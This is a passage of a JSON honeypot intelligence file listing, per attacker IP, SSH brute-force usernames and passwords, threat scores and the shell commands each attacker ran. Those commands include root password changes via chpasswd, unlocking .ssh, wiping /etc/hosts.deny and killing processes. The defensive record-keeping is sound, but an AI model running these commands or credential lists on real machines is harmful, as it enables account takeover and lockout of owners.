        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Voidsetdownload.so\\n9MCYfQhLEd4l\\n9MCYfQhLEd4l\\n\"|passwd",
        "echo \"root:td6XP53FtSRh\"|chpasswd|bash",
        "echo \"root:y6Dszl2EMWnc\"|chpasswd|bash",
        "echo -e \"Voidsetdownload.so\\n9MCYfQhLEd4l\\n9MCYfQhLEd4l\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 37.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T14:39:09.357000+00:00",
        "last_seen_30d": "2026-05-27T11:16:48.312000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 299,
        "Suricata": 68
      }
    },
    "50.99.170.152": {
      "attack_count": 288,
      "first_seen": "2026-05-05T06:32:16.062Z",
      "last_seen": "2026-05-05T07:06:24.708Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "345gs5662d34",
        "stats",
        "ts3server",
        "Ubuntu",
        "admin",
        "azureadmin",
        "demouser",
        "dev",
        "ec2-user",
        "ftpuser",
        "guest",
        "mailtest",
        "mcserver",
        "mysql",
        "newuser",
        "oracle",
        "postgres",
        "test"
      ],
      "passwords_attempted": [
        "test",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "test123",
        "!QAZ@WSX3edc4rfv",
        "0987",
        "123",
        "123321",
        "123456",
        "1234567890",
        "1q2w3e4r5t",
        "6",
        "Admin@123",
        "abcde@12345",
        "admin124",
        "asdfghjkl",
        "demouser@2023",
        "guest123guest",
        "password123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"teamspeak\\n3O3eW8ukmW6O\\n3O3eW8ukmW6O\\n\"|passwd",
        "echo \"test123\\nyTPqhVrPrLrt\\nyTPqhVrPrLrt\\n\"|passwd",
        "echo -e \"teamspeak\\n3O3eW8ukmW6O\\n3O3eW8ukmW6O\"|passwd|bash",
        "echo -e \"test123\\nyTPqhVrPrLrt\\nyTPqhVrPrLrt\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Hinton",
      "asn": 852,
      "as_org": "TELUS Communications",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T06:32:16.062000+00:00",
        "last_seen_30d": "2026-05-05T07:07:26.079000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 74
      }
    },
    "46.188.119.26": {
      "attack_count": 285,
      "first_seen": "2026-05-21T21:42:53.549Z",
      "last_seen": "2026-05-30T09:25:06.344Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "server",
        "abdullah",
        "fabian",
        "jackson",
        "ubuntu",
        "victor",
        "wd"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ4esz",
        "111222",
        "123",
        "123456",
        "123789",
        "123qweQWE@",
        "2233",
        "Aa.123456",
        "Server123",
        "ab123456",
        "abdullah",
        "admin1234",
        "iloveyou",
        "jackson",
        "wd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Server123\\nQeiBARejNNBV\\nQeiBARejNNBV\\n\"|passwd",
        "echo \"admin1234\\nn0gzeze2eQXi\\nn0gzeze2eQXi\\n\"|passwd",
        "echo \"root:qPBe3jLkRbra\"|chpasswd|bash",
        "echo -e \"Server123\\nQeiBARejNNBV\\nQeiBARejNNBV\"|passwd|bash",
        "echo -e \"admin1234\\nn0gzeze2eQXi\\nn0gzeze2eQXi\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 8334,
      "as_org": "Joint-stock Company teleport Telecom",
      "threat_score": 44.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.3,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 336,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T21:42:53.549000+00:00",
        "last_seen_30d": "2026-05-30T09:26:10.271000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 285,
        "Suricata": 51
      }
    },
    "92.27.101.99": {
      "attack_count": 262,
      "first_seen": "2026-05-22T16:22:47.931Z",
      "last_seen": "2026-05-31T15:49:02.340Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "debian",
        "myuser",
        "nuxeo",
        "amssys",
        "azureuser",
        "cctv",
        "devops",
        "elastic",
        "frank",
        "paul",
        "sonarqube",
        "user",
        "vagrant",
        "www-data",
        "yash"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "1111",
        "123456",
        "12345678",
        "6windos",
        "Az123456",
        "P@ssw0rd2024",
        "Test@123",
        "admin123!",
        "amssys",
        "azerty",
        "azureuser@2025",
        "cctv",
        "debian123",
        "devops",
        "elastic",
        "frank",
        "gwh28dgcmp"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"nuxeo\\nUTtw2yuVgYVs\\nUTtw2yuVgYVs\\n\"|passwd",
        "echo \"root:5fO5fJtnk3qr\"|chpasswd|bash",
        "echo -e \"nuxeo\\nUTtw2yuVgYVs\\nUTtw2yuVgYVs\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Lewisham",
      "asn": 13285,
      "as_org": "TalkTalk",
      "threat_score": 45.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.2,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 332,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T16:22:47.931000+00:00",
        "last_seen_30d": "2026-05-31T15:50:04.755000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 70
      }
    },
    "86.106.86.7": {
      "attack_count": 232,
      "first_seen": "2026-05-19T19:17:04.225Z",
      "last_seen": "2026-05-20T15:49:40.731Z",
      "sessions": 116,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 33977,
      "as_org": "Banat Telecom Satelit S.R.L.",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 356,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T19:17:04.225000+00:00",
        "last_seen_30d": "2026-05-20T15:50:50.222000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 232,
        "Suricata": 124
      }
    },
    "41.60.251.96": {
      "attack_count": 230,
      "first_seen": "2026-05-20T18:33:55.511Z",
      "last_seen": "2026-05-21T06:31:21.057Z",
      "sessions": 115,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Zambia",
      "country_code": "ZM",
      "city": "Lusaka",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 344,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:33:55.511000+00:00",
        "last_seen_30d": "2026-05-21T06:32:27.404000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 230,
        "Suricata": 114
      }
    },
    "196.0.120.211": {
      "attack_count": 223,
      "first_seen": "2026-05-26T20:42:45.152Z",
      "last_seen": "2026-05-26T21:17:12.847Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "kubeadmin",
        "mosquitto",
        "fred",
        "git",
        "joe",
        "keycloak",
        "lenovo",
        "n8n",
        "root/1234567",
        "stefano",
        "systemd",
        "ubuntu",
        "valheim",
        "zone"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "#EDC4rfv5tgb",
        "123",
        "1234",
        "123456",
        "Dd123123",
        "Voidsetdownload.so",
        "fjbdfdjkdsfs541544AA@@",
        "fred",
        "git@2025",
        "keycloak",
        "kubeadmin",
        "lenovo",
        "n8n2026",
        "root",
        "stefano",
        "temp123",
        "valheim"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nOiL1L92ahaRH\\nOiL1L92ahaRH\\n\"|passwd",
        "echo \"kubeadmin\\niE4N435xhnoG\\niE4N435xhnoG\\n\"|passwd",
        "echo -e \"123\\nOiL1L92ahaRH\\nOiL1L92ahaRH\"|passwd|bash",
        "echo -e \"kubeadmin\\niE4N435xhnoG\\niE4N435xhnoG\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Uganda",
      "country_code": "UG",
      "city": "Kampala",
      "asn": 21491,
      "as_org": "UGANDA-TELECOM Uganda Telecom",
      "threat_score": 31.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 272,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T20:42:45.152000+00:00",
        "last_seen_30d": "2026-05-26T21:18:19.658000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 223,
        "Suricata": 49
      }
    },
    "155.4.244.107": {
      "attack_count": 212,
      "first_seen": "2026-05-24T09:49:22.481Z",
      "last_seen": "2026-05-24T10:44:44.804Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "frappe",
        "devuser",
        "gopal",
        "mcserver",
        "testuser",
        "x"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123456",
        "123@Admin",
        "123qweASD!",
        "1q2w3e4r5T",
        "Admin007",
        "P@ssw0rd01!",
        "P@ssw0rd123#",
        "P@ssw0rd1234",
        "changeit",
        "frappe@123",
        "gopal",
        "password123",
        "testuser1",
        "wocaonima"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"frappe@123\\nVt0BJrwFpSSu\\nVt0BJrwFpSSu\\n\"|passwd",
        "echo \"root:ISQOxmSQ7SBf\"|chpasswd|bash",
        "echo -e \"frappe@123\\nVt0BJrwFpSSu\\nVt0BJrwFpSSu\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Helsingborg",
      "asn": 8473,
      "as_org": "Bahnhof AB",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T09:49:22.481000+00:00",
        "last_seen_30d": "2026-05-24T10:45:55.174000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 46
      }
    },
    "116.16.36.118": {
      "attack_count": 210,
      "first_seen": "2026-05-21T06:52:39.867Z",
      "last_seen": "2026-05-22T05:02:06.684Z",
      "sessions": 105,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 323,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:52:39.867000+00:00",
        "last_seen_30d": "2026-05-22T05:03:14.497000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 210,
        "Suricata": 113
      }
    },
    "129.121.54.93": {
      "attack_count": 174,
      "first_seen": "2026-05-21T18:20:26.974Z",
      "last_seen": "2026-05-21T19:43:39.031Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "web",
        "345gs5662d34",
        "anh",
        "buyong",
        "ftpuser",
        "hayashi",
        "hung",
        "jihoon",
        "kwak",
        "liu",
        "sasaki",
        "socks",
        "yamamoto",
        "yuri",
        "zuotian"
      ],
      "passwords_attempted": [
        "123456",
        "20230520",
        "2025",
        "3245gs5662d34",
        "345gs5662d34",
        "buyong",
        "gh001",
        "hung",
        "jihoon",
        "lazada",
        "liu",
        "sasaki",
        "seagroup",
        "sms123456",
        "socks",
        "web",
        "world",
        "yuri",
        "zuotian"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"web\\nRf9oMfYOqFLp\\nRf9oMfYOqFLp\\n\"|passwd",
        "echo -e \"web\\nRf9oMfYOqFLp\\nRf9oMfYOqFLp\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Vinhedo",
      "asn": 26337,
      "as_org": "Oso Grande IP Services, LLC",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 231,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T18:20:26.974000+00:00",
        "last_seen_30d": "2026-05-21T19:44:44.536000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 174,
        "Suricata": 57
      }
    },
    "222.127.158.71": {
      "attack_count": 168,
      "first_seen": "2026-05-19T06:39:05.977Z",
      "last_seen": "2026-05-19T18:00:29.661Z",
      "sessions": 84,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Lahug",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 252,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:39:05.977000+00:00",
        "last_seen_30d": "2026-05-19T18:01:38.040000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 84
      }
    },
    "118.250.105.137": {
      "attack_count": 146,
      "first_seen": "2026-05-19T06:38:21.102Z",
      "last_seen": "2026-05-19T17:57:56.659Z",
      "sessions": 73,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:38:21.102000+00:00",
        "last_seen_30d": "2026-05-19T17:59:05.735000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 146,
        "Suricata": 76
      }
    },
    "36.78.107.155": {
      "attack_count": 124,
      "first_seen": "2026-05-28T04:39:55.538Z",
      "last_seen": "2026-05-28T05:06:42.077Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "apollo",
        "user1"
      ],
      "passwords_attempted": [
        "123@.com",
        "3245gs5662d34",
        "345gs5662d34",
        "P@$$w0rd2026",
        "Qwe@1234",
        "abc@123",
        "apollo",
        "azerty",
        "fjbdfdjkdsfs541544",
        "password123",
        "qazwsxedc123",
        "qqqq1111",
        "root///"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"abc@123\\nxitHXpO5eZxN\\nxitHXpO5eZxN\\n\"|passwd",
        "echo -e \"abc@123\\nxitHXpO5eZxN\\nxitHXpO5eZxN\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Surabaya",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 31.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T04:39:55.538000+00:00",
        "last_seen_30d": "2026-05-28T05:07:46.168000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 31
      }
    },
    "177.85.247.230": {
      "attack_count": 119,
      "first_seen": "2026-05-24T04:31:19.018Z",
      "last_seen": "2026-05-24T05:10:03.517Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "345gs5662d34",
        "hassan",
        "minecraft",
        "mysql",
        "socksuser",
        "vpn"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Qq111111",
        "a",
        "hassan",
        "htvx32v6",
        "lol123",
        "mc",
        "password",
        "q1w2e3r4!@#$",
        "vpn123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"a\\nA0bgKTLDtta2\\nA0bgKTLDtta2\\n\"|passwd",
        "echo -e \"a\\nA0bgKTLDtta2\\nA0bgKTLDtta2\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Timon",
      "asn": 270603,
      "as_org": "R R DE FRANCA SOUSA",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T04:31:19.018000+00:00",
        "last_seen_30d": "2026-05-24T05:11:13.073000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 30
      }
    },
    "148.113.221.241": {
      "attack_count": 102,
      "first_seen": "2026-05-08T15:14:12.994Z",
      "last_seen": "2026-05-28T01:41:39.411Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
